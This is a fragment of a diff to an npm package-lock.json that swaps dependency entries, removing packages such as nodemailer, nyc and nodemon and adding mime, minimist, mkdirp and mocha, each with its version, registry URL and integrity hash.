+- "integrity": "sha512-0L9FvHG3nfnnmaEQPjT9xhfN4ISk0A8/2j4M37Np4mcDesJjHgEUfgPhdCyZuFI954tjokaIj/A3NdpFNdEh4Q=="
++ "mhook": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/mhook/-/mhook-1.0.1.tgz",
++ "integrity": "sha1-C6igyiARIlgzA9tKsdDi/5jytUw="
+ },
+- "nock": {
+- "version": "0.15.2",
+- "resolved": "https://registry.npmjs.org/nock/-/nock-0.15.2.tgz",
+- "integrity": "sha1-PDLBrmASzTmOuSQKBZJEtZUI3Y0=",
+- "dev": true,
++ "micromatch": {
++ "version": "4.0.4",
++ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz",
++ "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==",
+ "requires": {
+- "propagate": "0.2.x"
++ "braces": "^3.0.1",
++ "picomatch": "^2.2.3"
+ }
+ },
+- "node-addon-api": {
+- "version": "3.2.1",
+- "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz",
+- "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A=="
+- },
+- "node-domexception": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz",
+- "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ=="
+- },
+- "node-environment-flags": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/node-environment-flags/-/node-environment-flags-1.0.5.tgz",
+- "integrity": "sha512-VNYPRfGfmZLx0Ye20jWzHUjyTW/c+6Wq+iLhDzUI4XmhrDd9l/FozXV3F2xOaXjvp0co0+v1YSR3CMP6g+VvLQ==",
+- "dev": true,
++ "microtime": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/microtime/-/microtime-3.0.0.tgz",
++ "integrity": "sha512-SirJr7ZL4ow2iWcb54bekS4aWyBQNVcEDBiwAz9D/sTgY59A+uE8UJU15cp5wyZmPBwg/3zf8lyCJ5NUe1nVlQ==",
+ "requires": {
+- "object.getownpropertydescriptors": "^2.0.3",
+- "semver": "^5.7.0"
++ "node-addon-api": "^1.2.0",
++ "node-gyp-build": "^3.8.0"
+ },
+ "dependencies": {
+- "semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+- "dev": true
++ "node-addon-api": {
++ "version": "1.7.2",
++ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-1.7.2.tgz",
++ "integrity": "sha512-ibPK3iA+vaY1eEjESkQkM0BbCqFOaZMiXRTtdB0u7b4djtY6JnsjvPdUHVMg6xQt3B8fpTTWHI9A+ADjM9frzg=="
+ }
+ }
+ },
+- "node-fetch": {
+- "version": "2.6.7",
+- "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz",
+- "integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==",
++ "mime": {
++ "version": "2.6.0",
++ "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz",
++ "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg=="
++ },
++ "mime-db": {
++ "version": "1.51.0",
++ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.51.0.tgz",
++ "integrity": "sha512-5y8A56jg7XVQx2mbv1lu49NR4dokRnhZYTtL+KGfaa27uq4pSTXkwQkFJl4pkRMyNFz/EtYDSkiiEHx3F7UN6g=="
++ },
++ "mime-match": {
++ "version": "1.0.2",
++ "resolved": "https://registry.npmjs.org/mime-match/-/mime-match-1.0.2.tgz",
++ "integrity": "sha1-P4fDHprxpf1IX7nbE0Qosju7e6g=",
+ "requires": {
+- "whatwg-url": "^5.0.0"
+- },
+- "dependencies": {
+- "tr46": {
+- "version": "0.0.3",
+- "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
+- "integrity": "sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o="
+- },
+- "webidl-conversions": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
+- "integrity": "sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE="
+- },
+- "whatwg-url": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
+- "integrity": "sha1-lmRU6HZUYuN2RNNib2dCzotwll0=",
+- "requires": {
+- "tr46": "~0.0.3",
+- "webidl-conversions": "^3.0.0"
+- }
+- }
++ "wildcard": "^1.1.0"
+ }
+ },
+- "node-forge": {
+- "version": "1.2.1",
+- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.2.1.tgz",
+- "integrity": "sha512-Fcvtbb+zBcZXbTTVwqGA5W+MKBj56UjVRevvchv5XrcyXbmNdesfZL37nlcWOfpgHhgmxApw3tQbTr4CqNmX4w=="
++ "mime-types": {
++ "version": "2.1.34",
++ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.34.tgz",
++ "integrity": "sha512-6cP692WwGIs9XXdOO4++N+7qjqv0rqxxVvJ3VHPh/Sc9mVZcQP+ZGhkKiTvWMQRr2tbHkJP/Yn7Y0npb3ZBs4A==",
++ "requires": {
++ "mime-db": "1.51.0"
++ }
+ },
+- "node-gyp-build": {
+- "version": "3.9.0",
+- "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-3.9.0.tgz",
+- "integrity": "sha512-zLcTg6P4AbcHPq465ZMFNXx7XpKKJh+7kkN699NiQWisR2uWYOWNWqRHAmbnmKiL4e9aLSlmy5U7rEMUXV59+A=="
++ "mimic-fn": {
++ "version": "2.1.0",
++ "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
++ "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="
+ },
+- "node-preload": {
+- "version": "0.2.1",
+- "resolved": "https://registry.npmjs.org/node-preload/-/node-preload-0.2.1.tgz",
+- "integrity": "sha512-RM5oyBy45cLEoHqCeh+MNuFAxO0vTFBLskvQbOKnEE7YTTSN4tbN8QWDIPQ6L+WvKsB/qLEGpYe2ZZ9d4W9OIQ==",
+- "dev": true,
++ "min-document": {
++ "version": "2.19.0",
++ "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz",
++ "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=",
+ "requires": {
+- "process-on-spawn": "^1.0.0"
++ "dom-walk": "^0.1.0"
+ }
+ },
+- "node-releases": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.1.tgz",
+- "integrity": "sha512-CqyzN6z7Q6aMeF/ktcMVTzhAHCEpf8SOarwpzpf8pNBY2k5/oM34UHldUwp8VKI7uxct2HxSRdJjBaZeESzcxA=="
++ "minimalistic-assert": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
++ "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==",
++ "devOptional": true
+ },
+- "node-uuid": {
+- "version": "1.4.8",
+- "resolved": "https://registry.npmjs.org/node-uuid/-/node-uuid-1.4.8.tgz",
+- "integrity": "sha1-sEDrCSOWivq/jTL7HxfxFn/auQc="
++ "minimatch": {
++ "version": "3.0.4",
++ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
++ "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
++ "requires": {
++ "brace-expansion": "^1.1.7"
++ }
+ },
+- "nodemailer": {
+- "version": "6.7.2",
+- "resolved": "https://registry.npmjs.org/nodemailer/-/nodemailer-6.7.2.tgz",
+- "integrity": "sha512-Dz7zVwlef4k5R71fdmxwR8Q39fiboGbu3xgswkzGwczUfjp873rVxt1O46+Fh0j1ORnAC6L9+heI8uUpO6DT7Q=="
++ "minimist": {
++ "version": "0.0.8",
++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz",
++ "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0="
+ },
+- "nodemailer-mandrill-transport": {
+- "version": "1.2.0",
+- "resolved": "https://registry.npmjs.org/nodemailer-mandrill-transport/-/nodemailer-mandrill-transport-1.2.0.tgz",
+- "integrity": "sha1-aZaQKdJZtGkhzBLbcMoVUb85SwQ=",
++ "minipass": {
++ "version": "3.1.6",
++ "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.6.tgz",
++ "integrity": "sha512-rty5kpw9/z8SX9dmxblFA6edItUmwJgMeYDZRrwlIVN27i8gysGbznJwUggw2V/FVqFSDdWy040ZPS811DYAqQ==",
+ "requires": {
+- "addressparser": "^1.0.1",
+- "extend": "^3.0.0",
+- "mandrill-api": "^1.0.45"
++ "yallist": "^4.0.0"
++ },
++ "dependencies": {
++ "yallist": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
++ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
++ }
+ }
+ },
+- "nodemailer-ses-transport": {
+- "version": "1.5.1",
+- "resolved": "https://registry.npmjs.org/nodemailer-ses-transport/-/nodemailer-ses-transport-1.5.1.tgz",
+- "integrity": "sha1-3AWYwb9T6GUuYy6PMWks4CLX3qk=",
++ "minizlib": {
++ "version": "2.1.2",
++ "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
++ "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
+ "requires": {
+- "aws-sdk": "^2.2.36"
++ "minipass": "^3.0.0",
++ "yallist": "^4.0.0"
++ },
++ "dependencies": {
++ "yallist": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
++ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
++ }
+ }
+ },
+- "nodemon": {
+- "version": "2.0.19",
+- "resolved": "https://registry.npmjs.org/nodemon/-/nodemon-2.0.19.tgz",
+- "integrity": "sha512-4pv1f2bMDj0Eeg/MhGqxrtveeQ5/G/UVe9iO6uTZzjnRluSA4PVWf8CW99LUPwGB3eNIA7zUFoP77YuI7hOc0A==",
++ "mixin-deep": {
++ "version": "1.3.2",
++ "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
++ "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
+ "dev": true,
+ "requires": {
+- "chokidar": "^3.5.2",
+- "debug": "^3.2.7",
+- "ignore-by-default": "^1.0.1",
+- "minimatch": "^3.0.4",
+- "pstree.remy": "^1.1.8",
+- "semver": "^5.7.1",
+- "simple-update-notifier": "^1.0.7",
+- "supports-color": "^5.5.0",
+- "touch": "^3.1.0",
+- "undefsafe": "^2.0.5"
++ "for-in": "^1.0.2",
++ "is-extendable": "^1.0.1"
+ },
+ "dependencies": {
+- "debug": {
+- "version": "3.2.7",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+- "dev": true,
+- "requires": {
+- "ms": "^2.1.1"
+- }
+- },
+- "has-flag": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+- "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
+- "dev": true
+- },
+- "semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+- "dev": true
+- },
+- "supports-color": {
+- "version": "5.5.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+- "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
++ "is-extendable": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
++ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+- "has-flag": "^3.0.0"
++ "is-plain-object": "^2.0.4"
+ }
+ }
+ }
+ },
+- "nopt": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
+- "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
++ "mkdirp": {
++ "version": "0.5.1",
++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz",
++ "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=",
+ "requires": {
+- "abbrev": "1"
++ "minimist": "0.0.8"
+ }
+ },
+- "normalize-path": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+- "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
++ "mkdirp-classic": {
++ "version": "0.5.3",
++ "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
++ "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A=="
+ },
+- "normalize-range": {
+- "version": "0.1.2",
+- "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
+- "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=",
++ "mkdirp2": {
++ "version": "1.0.5",
++ "resolved": "https://registry.npmjs.org/mkdirp2/-/mkdirp2-1.0.5.tgz",
++ "integrity": "sha512-xOE9xbICroUDmG1ye2h4bZ8WBie9EGmACaco8K8cx6RlkJJrxGIqjGqztAI+NMhexXBcdGbSEzI6N3EJPevxZw==",
+ "dev": true
+ },
+- "now-and-later": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/now-and-later/-/now-and-later-2.0.1.tgz",
+- "integrity": "sha512-KGvQ0cB70AQfg107Xvs/Fbu+dGmZoTRJp2TaPwcwQm3/7PteUyN2BCgk8KBMPGBUXZdVwyWS8fDCGFygBm19UQ==",
+- "dev": true,
+- "requires": {
+- "once": "^1.3.2"
+- }
+- },
+- "npm-run-path": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
+- "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==",
+- "devOptional": true,
+- "requires": {
+- "path-key": "^3.0.0"
+- }
+- },
+- "npmlog": {
+- "version": "5.0.1",
+- "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz",
+- "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==",
+- "requires": {
+- "are-we-there-yet": "^2.0.0",
+- "console-control-strings": "^1.1.0",
+- "gauge": "^3.0.0",
+- "set-blocking": "^2.0.0"
+- }
+- },
+- "nth-check": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz",
+- "integrity": "sha512-it1vE95zF6dTT9lBsYbxvqh0Soy4SPowchj0UBGj/V6cTPnXXtQOPUbhZ6CmGzAD/rW22LQK6E96pcdJXk4A4w==",
+- "dev": true,
++ "mmmagic": {
++ "version": "0.5.3",
++ "resolved": "https://registry.npmjs.org/mmmagic/-/mmmagic-0.5.3.tgz",
++ "integrity": "sha512-xLqCu7GJYTzJczg0jafXFuh+iPzQL/ru0YYf4GiTTz8Cehru/wiXtUS8Pp8Xi77zNaiVndJ0OO1yAFci6iHyFg==",
+ "requires": {
+- "boolbase": "^1.0.0"
++ "nan": "^2.13.2"
+ }
+ },
+- "num2fraction": {
+- "version": "1.2.2",
+- "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz",
+- "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=",
+- "dev": true
+- },
+- "nvd3": {
+- "version": "1.8.6",
+- "resolved": "https://registry.npmjs.org/nvd3/-/nvd3-1.8.6.tgz",
+- "integrity": "sha1-LT66dL8zNjtRAevx0JPFmlOuc8Q=",
+- "requires": {}
+- },
+- "nwsapi": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz",
+- "integrity": "sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ==",
+- "dev": true
+- },
+- "nyc": {
+- "version": "15.1.0",
+- "resolved": "https://registry.npmjs.org/nyc/-/nyc-15.1.0.tgz",
+- "integrity": "sha512-jMW04n9SxKdKi1ZMGhvUTHBN0EICCRkHemEoE5jm6mTYcqcdas0ATzgUgejlQUHMvpnOZqGB5Xxsv9KxJW1j8A==",
++ "mocha": {
++ "version": "8.4.0",
++ "resolved": "https://registry.npmjs.org/mocha/-/mocha-8.4.0.tgz",
++ "integrity": "sha512-hJaO0mwDXmZS4ghXsvPVriOhsxQ7ofcpQdm8dE+jISUOKopitvnXFQmpRR7jd2K6VBG6E26gU3IAbXXGIbu4sQ==",
+ "dev": true,
+ "requires": {
+- "@istanbuljs/load-nyc-config": "^1.0.0",
+- "@istanbuljs/schema": "^0.1.2",
+- "caching-transform": "^4.0.0",
+- "convert-source-map": "^1.7.0",
+- "decamelize": "^1.2.0",
+- "find-cache-dir": "^3.2.0",
+- "find-up": "^4.1.0",
+- "foreground-child": "^2.0.0",
+- "get-package-type": "^0.1.0",
+- "glob": "^7.1.6",
+- "istanbul-lib-coverage": "^3.0.0",
+- "istanbul-lib-hook": "^3.0.0",
+- "istanbul-lib-instrument": "^4.0.0",
+- "istanbul-lib-processinfo": "^2.0.2",
+- "istanbul-lib-report": "^3.0.0",
+- "istanbul-lib-source-maps": "^4.0.0",
+- "istanbul-reports": "^3.0.2",
+- "make-dir": "^3.0.0",
+- "node-preload": "^0.2.1",
+- "p-map": "^3.0.0",
+- "process-on-spawn": "^1.0.0",
+- "resolve-from": "^5.0.0",
+- "rimraf": "^3.0.0",
+- "signal-exit": "^3.0.2",
+- "spawn-wrap": "^2.0.0",
+- "test-exclude": "^6.0.0",
+- "yargs": "^15.0.2"
++ "@ungap/promise-all-settled": "1.1.2",
++ "ansi-colors": "4.1.1",
++ "browser-stdout": "1.3.1",
++ "chokidar": "3.5.1",
++ "debug": "4.3.1",
++ "diff": "5.0.0",
++ "escape-string-regexp": "4.0.0",
++ "find-up": "5.0.0",
++ "glob": "7.1.6",
++ "growl": "1.10.5",
++ "he": "1.2.0",
++ "js-yaml": "4.0.0",
++ "log-symbols": "4.0.0",
++ "minimatch": "3.0.4",
++ "ms": "2.1.3",
++ "nanoid": "3.1.20",
++ "serialize-javascript": "5.0.1",
++ "strip-json-comments": "3.1.1",
++ "supports-color": "8.1.1",
++ "which": "2.0.2",
++ "wide-align": "1.1.3",
++ "workerpool": "6.1.0",
++ "yargs": "16.2.0",
++ "yargs-parser": "20.2.4",
++ "yargs-unparser": "2.0.0"
+ },
+ "dependencies": {
+ "ansi-styles": {
+@@ -58451,727 +46747,737 @@
+ "color-convert": "^2.0.1"
+ }
+ },
+- "camelcase": {
+- "version": "5.3.1",
+- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+- "dev": true
+- },
+- "cliui": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz",
+- "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==",
++ "chalk": {
++ "version": "4.1.2",
++ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
++ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+ "dev": true,
+ "requires": {
+- "string-width": "^4.2.0",
+- "strip-ansi": "^6.0.0",
+- "wrap-ansi": "^6.2.0"
++ "ansi-styles": "^4.1.0",
++ "supports-color": "^7.1.0"
++ },
++ "dependencies": {
++ "supports-color": {
++ "version": "7.2.0",
++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
++ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
++ "dev": true,
++ "requires": {
++ "has-flag": "^4.0.0"
++ }
++ }
+ }
+ },
+- "find-cache-dir": {
+- "version": "3.3.2",
+- "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
+- "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
++ "chokidar": {
++ "version": "3.5.1",
++ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz",
++ "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==",
+ "dev": true,
+ "requires": {
+- "commondir": "^1.0.1",
+- "make-dir": "^3.0.2",
+- "pkg-dir": "^4.1.0"
++ "anymatch": "~3.1.1",
++ "braces": "~3.0.2",
++ "fsevents": "~2.3.1",
++ "glob-parent": "~5.1.0",
++ "is-binary-path": "~2.1.0",
++ "is-glob": "~4.0.1",
++ "normalize-path": "~3.0.0",
++ "readdirp": "~3.5.0"
+ }
+ },
+- "find-up": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+- "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
++ "debug": {
++ "version": "4.3.1",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
++ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+- "locate-path": "^5.0.0",
+- "path-exists": "^4.0.0"
++ "ms": "2.1.2"
++ },
++ "dependencies": {
++ "ms": {
++ "version": "2.1.2",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
++ "dev": true
++ }
+ }
+ },
+- "locate-path": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+- "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
++ "glob": {
++ "version": "7.1.6",
++ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz",
++ "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==",
+ "dev": true,
+ "requires": {
+- "p-locate": "^4.1.0"
++ "fs.realpath": "^1.0.0",
++ "inflight": "^1.0.4",
++ "inherits": "2",
++ "minimatch": "^3.0.4",
++ "once": "^1.3.0",
++ "path-is-absolute": "^1.0.0"
+ }
+ },
+- "make-dir": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+- "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
++ "js-yaml": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.0.0.tgz",
++ "integrity": "sha512-pqon0s+4ScYUvX30wxQi3PogGFAlUyH0awepWvwkj4jD4v+ova3RiYw8bmA6x2rDrEaj8i/oWKoRxpVNW+Re8Q==",
+ "dev": true,
+ "requires": {
+- "semver": "^6.0.0"
++ "argparse": "^2.0.1"
+ }
+ },
+- "p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
++ "log-symbols": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.0.0.tgz",
++ "integrity": "sha512-FN8JBzLx6CzeMrB0tg6pqlGU1wCrXW+ZXGH481kfsBqer0hToTIiHdjH4Mq8xJUbvATujKCvaREGWpGUionraA==",
+ "dev": true,
+ "requires": {
+- "p-try": "^2.0.0"
++ "chalk": "^4.0.0"
+ }
+ },
+- "p-locate": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+- "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+- "dev": true,
+- "requires": {
+- "p-limit": "^2.2.0"
+- }
++ "nanoid": {
++ "version": "3.1.20",
++ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.20.tgz",
++ "integrity": "sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw==",
++ "dev": true
+ },
+- "p-map": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
+- "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
++ "randombytes": {
++ "version": "2.1.0",
++ "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
++ "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+ "dev": true,
+ "requires": {
+- "aggregate-error": "^3.0.0"
++ "safe-buffer": "^5.1.0"
+ }
+ },
+- "rimraf": {
+- "version": "3.0.2",
